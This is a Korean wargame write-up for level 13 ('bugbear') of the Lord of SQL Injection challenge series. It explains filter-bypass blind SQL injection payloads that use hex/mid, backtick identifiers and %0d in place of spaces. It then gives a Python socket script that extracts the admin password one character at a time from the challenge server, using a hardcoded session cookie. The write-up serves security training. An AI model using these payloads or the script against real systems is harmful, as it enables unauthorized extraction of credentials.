본문 바로가기
워게임/LOS

[los - SQL injection] bugbear ( 13단계 )

by B T Y 2017. 9. 24.
반응형

[los - SQL injection] bugbear ( 13단계 )







bugbear 문제 필터링

  - no는 substr, ', ascii, =, or, and, ' ', like, 0x 필터링

  - pw는 싱글쿼터



[ 풀이과정 ]



bugbear는 if(($result['pw'] && ($result['pw'] == $_GET['pw'])) 조건을 만족하면 풀리게 된다.

그러므로 여기서도 pw를 찾아서 직접 넣어줘야 해당 문제가 풀린다..


select id from prob_bugbear where id='guest' and pw='' and no=1 || unhex(hex(char(49,61,49)))

식을 이용해서 참/거짓을 확인하는데 여기서는 unhex(), hex(), char()를 사용해서 1=1이라는 참의 식을 만들었다.

그 결과 SQL injection이 가능한걸 확인하였다..


하지만 그방법 말고 문제를 풀기 위한 방법으로는 


select id from prob_bugbear where id='guest' and pw='' and no=1 || `id` in ("admin")

식을 이용해서 참/거짓을 확인할 수 있다.

여기서 주의할점은 스페이스바가 필터링 되어있기 때문에 %0d와 같은 CR문자로 대체를 해줘야 한다..


참/거짓이 확인되고 뒤에 pw를 찾는 쿼리만 작성해 추가해준다면 

남은건 자동화 프로그램을 이용해서 pw를 추출 할 수 있다.


no=1%0d||%0d`id`%0din%0d("admin")%0d%26%26%0dhex(mid((select%0dpw),1,1))%0din%0d(hex('48'))

를 추가해 pw를 참/거짓으로 비교해 in을 이용해 해당 문자가 안에 있는지를 확인해보면 pw 추출이 가능하다.




( admin을 이용해서 참/거짓을 확인 했기 때문에 이제 뒤쪽에 admin의 pw를 찾는 쿼리만 추가시켜주면 된다 )



( python 자동화 프로그램을 이용해서 pw를 찾는 과정을 처리해줬다.. )





13단계 클리어~~~~~~~



bugbear.py



from socket import *

from struct import *


for i in range(1,9):

    ch = 48

    while True:


        #if 58 <= ch <= 64: ch + 1; continue

        #if 91 <= ch <= 96: ch + 1; continue

        if ch > 122: break

        

        sock = socket( AF_INET, SOCK_STREAM )

        sock.connect( ('104.27.174.42', 80) )


        request_header = 'GET /bugbear_431917ddc1dec75b4d65a23bd39689f8.php?no=1%0d'

        request_header += '||%0d`id`%0din%0d("admin")%0d%26%26%0dhex(mid((select%0dpw),'

        request_header += str(i)

        request_header += ',1))%0din%0d(hex(' + str(ch) + '))'

        request_header += ' HTTP/1.1\r\n'

        request_header += 'Cookie:__cfduid=df834c397e7603f57b89ac79835e657981505296704; 

                                  PHPSESSID=sii7lie98kb84cu3v4arllrbr7\r\n'

        request_header += 'Host:los.eagle-jump.org\r\n'

        request_header += '\r\n'


        sock.send( request_header.encode() )

        response = sock.recv(65535).decode()

        if 'Hello admin' in response:

            print( chr(ch), end='' )

            sock.close()

            break


        ch = ch + 1;

        sock.close()





반응형

댓글